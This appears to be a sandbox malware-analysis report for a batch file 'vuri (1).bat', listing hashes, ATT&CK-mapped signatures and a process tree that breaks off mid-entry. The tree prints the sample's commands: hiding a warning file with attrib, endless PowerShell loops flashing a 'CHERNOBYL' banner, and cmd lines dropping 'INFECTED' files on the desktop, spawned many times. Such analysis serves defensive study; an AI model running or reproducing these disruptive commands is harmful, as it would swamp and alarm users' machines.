2136e0d3e7c145304183a1521da6c87cc1b243e2dceda0ee078d3a44700c9f7f

Analysis

user interaction
yes
max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/09/2026, 12:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
vuri (1).bat
Size 2KB
Sample260928-pxmapavs5n
SHA256 2136e0d3e7c145304183a1521da6c87cc1b243e2dceda0ee078d3a44700c9f7f
MD5 7fa693cd800e199259d68bbb024662de
SHA1 cdfa5828617ca791965327630dec82934af288e5
SHA512 dde4edb38f69d3cbf24bb48e9e49cd8de114900ad5eddeddb46495a33015fe6856c8cedc0d2c1074d00b4a2102b2fe2edf8cfa4650f7b57226f788ffe75c01c4
TLSH
T17F51C79B1F9400AB94439E27C1ABE242790EB4B8A0C47F403294D19AB64504FDBF2CE8
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution

Malware Config

Signatures

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
7796	takeown.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 31 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3360	powershell.exe
6480	powershell.exe
5432	powershell.exe
2436	powershell.exe
3700	powershell.exe
3956	powershell.exe
5808	powershell.exe
6264	powershell.exe
756	powershell.exe
3492	powershell.exe
1852	powershell.exe
6064	powershell.exe
6848	powershell.exe
2548	powershell.exe
2372	powershell.exe
4484	powershell.exe
2040	powershell.exe
2300	powershell.exe
5648	powershell.exe
4888	powershell.exe
5216	powershell.exe
1332	powershell.exe
4372	powershell.exe
3744	powershell.exe
6040	powershell.exe
5704	powershell.exe
6656	powershell.exe
3100	powershell.exe
2228	powershell.exe
3528	powershell.exe
8036	powershell.exe

Enumerates connected drives 3 TTPs 33 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
6700	powershell.exe
7396	powershell.exe

Executes a command shell one-liner 1 TTPs 32 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5916	cmd.exe
6392	cmd.exe
6900	cmd.exe
7724	cmd.exe
3168	cmd.exe
2312	cmd.exe
4604	cmd.exe
916	cmd.exe
4844	cmd.exe
4688	cmd.exe
5140	cmd.exe
1668	cmd.exe
4056	cmd.exe
1272	cmd.exe
2832	cmd.exe
5640	cmd.exe
6736	cmd.exe
4952	cmd.exe
4012	cmd.exe
1580	cmd.exe
5020	cmd.exe
5308	cmd.exe
4384	cmd.exe
2068	cmd.exe
6160	cmd.exe
3976	cmd.exe
1188	cmd.exe
1920	cmd.exe
5744	cmd.exe
3324	cmd.exe
5776	cmd.exe
6556	cmd.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2372	powershell.exe
2372	powershell.exe
3100	powershell.exe
3100	powershell.exe
2436	powershell.exe
2436	powershell.exe
2548	powershell.exe
2548	powershell.exe
1332	powershell.exe
1332	powershell.exe
756	powershell.exe
756	powershell.exe
3360	powershell.exe
3360	powershell.exe
2436	powershell.exe
2436	powershell.exe
4372	powershell.exe
4372	powershell.exe
2372	powershell.exe
2372	powershell.exe
3100	powershell.exe
3100	powershell.exe
3492	powershell.exe
3492	powershell.exe
1852	powershell.exe
1852	powershell.exe
2040	powershell.exe
2040	powershell.exe
3700	powershell.exe
3700	powershell.exe
3956	powershell.exe
3956	powershell.exe
2228	powershell.exe
2228	powershell.exe
4484	powershell.exe
4484	powershell.exe
1332	powershell.exe
1332	powershell.exe
3360	powershell.exe
3360	powershell.exe
3744	powershell.exe
3744	powershell.exe
3528	powershell.exe
3528	powershell.exe
4888	powershell.exe
4888	powershell.exe
5216	powershell.exe
5216	powershell.exe
2300	powershell.exe
2300	powershell.exe
5432	powershell.exe
5648	powershell.exe
5432	powershell.exe
5648	powershell.exe
756	powershell.exe
756	powershell.exe
2548	powershell.exe
2548	powershell.exe
5808	powershell.exe
5808	powershell.exe
3492	powershell.exe
3492	powershell.exe
2228	powershell.exe
2228	powershell.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

description	pid	Process
Token: SeDebugPrivilege	2372	powershell.exe
Token: SeDebugPrivilege	3100	powershell.exe
Token: SeDebugPrivilege	2436	powershell.exe
Token: SeDebugPrivilege	2548	powershell.exe
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeDebugPrivilege	756	powershell.exe
Token: SeDebugPrivilege	3360	powershell.exe
Token: SeDebugPrivilege	4372	powershell.exe
Token: SeDebugPrivilege	3492	powershell.exe
Token: SeDebugPrivilege	3700	powershell.exe
Token: SeDebugPrivilege	3956	powershell.exe
Token: SeDebugPrivilege	2228	powershell.exe
Token: SeDebugPrivilege	4484	powershell.exe
Token: SeDebugPrivilege	1852	powershell.exe
Token: SeDebugPrivilege	2040	powershell.exe
Token: SeDebugPrivilege	3744	powershell.exe
Token: SeDebugPrivilege	3528	powershell.exe
Token: SeDebugPrivilege	4888	powershell.exe
Token: SeDebugPrivilege	5216	powershell.exe
Token: SeDebugPrivilege	2300	powershell.exe
Token: SeDebugPrivilege	5432	powershell.exe
Token: SeDebugPrivilege	5648	powershell.exe
Token: SeDebugPrivilege	5808	powershell.exe
Token: SeDebugPrivilege	6264	powershell.exe
Token: SeDebugPrivilege	6064	powershell.exe
Token: SeDebugPrivilege	5704	powershell.exe
Token: SeDebugPrivilege	6040	powershell.exe
Token: SeDebugPrivilege	6480	powershell.exe
Token: SeDebugPrivilege	6656	powershell.exe
Token: SeDebugPrivilege	6700	powershell.exe
Token: SeDebugPrivilege	6848	powershell.exe
Token: SeDebugPrivilege	7396	powershell.exe
Token: SeDebugPrivilege	8036	powershell.exe
Token: SeTakeOwnershipPrivilege	7796	takeown.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 916 wrote to memory of 4500	916	cmd.exe	88
PID 916 wrote to memory of 2436	916	cmd.exe	89
PID 916 wrote to memory of 3168	916	cmd.exe	90
PID 916 wrote to memory of 2372	916	cmd.exe	93
PID 916 wrote to memory of 1668	916	cmd.exe	95
PID 916 wrote to memory of 3100	916	cmd.exe	97
PID 916 wrote to memory of 4688	916	cmd.exe	99
PID 916 wrote to memory of 3360	916	cmd.exe	100
PID 916 wrote to memory of 4384	916	cmd.exe	101
PID 916 wrote to memory of 2548	916	cmd.exe	105
PID 916 wrote to memory of 1188	916	cmd.exe	107
PID 916 wrote to memory of 756	916	cmd.exe	108
PID 916 wrote to memory of 4844	916	cmd.exe	109
PID 916 wrote to memory of 1332	916	cmd.exe	110
PID 916 wrote to memory of 1272	916	cmd.exe	115
PID 916 wrote to memory of 4372	916	cmd.exe	117
PID 916 wrote to memory of 1920	916	cmd.exe	119
PID 916 wrote to memory of 3492	916	cmd.exe	121
PID 916 wrote to memory of 4952	916	cmd.exe	123
PID 916 wrote to memory of 3700	916	cmd.exe	125
PID 916 wrote to memory of 4012	916	cmd.exe	127
PID 916 wrote to memory of 3956	916	cmd.exe	129
PID 916 wrote to memory of 5020	916	cmd.exe	131
PID 916 wrote to memory of 4484	916	cmd.exe	132
PID 916 wrote to memory of 1580	916	cmd.exe	133
PID 916 wrote to memory of 2040	916	cmd.exe	137
PID 916 wrote to memory of 3976	916	cmd.exe	139
PID 916 wrote to memory of 1852	916	cmd.exe	141
PID 916 wrote to memory of 2832	916	cmd.exe	143
PID 916 wrote to memory of 2228	916	cmd.exe	145
PID 916 wrote to memory of 4056	916	cmd.exe	147
PID 916 wrote to memory of 4888	916	cmd.exe	149
PID 916 wrote to memory of 2068	916	cmd.exe	150
PID 916 wrote to memory of 3744	916	cmd.exe	153
PID 916 wrote to memory of 2312	916	cmd.exe	155
PID 916 wrote to memory of 3528	916	cmd.exe	157
PID 916 wrote to memory of 4604	916	cmd.exe	159
PID 916 wrote to memory of 2300	916	cmd.exe	161
PID 916 wrote to memory of 5140	916	cmd.exe	163
PID 916 wrote to memory of 5216	916	cmd.exe	165
PID 916 wrote to memory of 5308	916	cmd.exe	167
PID 916 wrote to memory of 5432	916	cmd.exe	168
PID 916 wrote to memory of 5640	916	cmd.exe	171
PID 916 wrote to memory of 5648	916	cmd.exe	172
PID 916 wrote to memory of 5744	916	cmd.exe	175
PID 916 wrote to memory of 5808	916	cmd.exe	177
PID 916 wrote to memory of 5916	916	cmd.exe	179
PID 916 wrote to memory of 6040	916	cmd.exe	181
PID 916 wrote to memory of 3324	916	cmd.exe	183
PID 916 wrote to memory of 5704	916	cmd.exe	185
PID 916 wrote to memory of 5776	916	cmd.exe	187
PID 916 wrote to memory of 6064	916	cmd.exe	190
PID 916 wrote to memory of 6160	916	cmd.exe	192
PID 916 wrote to memory of 6264	916	cmd.exe	194
PID 916 wrote to memory of 6392	916	cmd.exe	196
PID 916 wrote to memory of 6480	916	cmd.exe	198
PID 916 wrote to memory of 6556	916	cmd.exe	200
PID 916 wrote to memory of 6656	916	cmd.exe	202
PID 916 wrote to memory of 6736	916	cmd.exe	204
PID 916 wrote to memory of 6848	916	cmd.exe	206
PID 916 wrote to memory of 6900	916	cmd.exe	208
PID 916 wrote to memory of 6700	916	cmd.exe	210
PID 916 wrote to memory of 7396	916	cmd.exe	211
PID 916 wrote to memory of 7724	916	cmd.exe	212

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4500	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\vuri (1).bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:916
- C:\Windows\system32\attrib.exe
  attrib +h +r +s chernobyl_warning.txt
  2⤵
  - Views/modifies file attributes
  PID:4500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2436
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:3168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2372
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:1668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3100
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:4688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3360
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:4384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2548
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:1188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:756
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:4844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1332
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:1272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4372
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:1920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3492
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:4952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3700
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:4012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3956
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:5020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4484
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:1580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2040
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:3976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1852
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:2832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2228
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:4056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4888
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:2068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3744
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:2312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3528
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:4604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2300
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:5140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5216
- C:\Windows\system32\cmd.exe
  cmd /c "color 25581 & echo INFECTED > C:\Users\Admin\desktop\INF_15615.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_13751.dat"
  2⤵
  - Executes a command shell one-liner
  PID:5308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
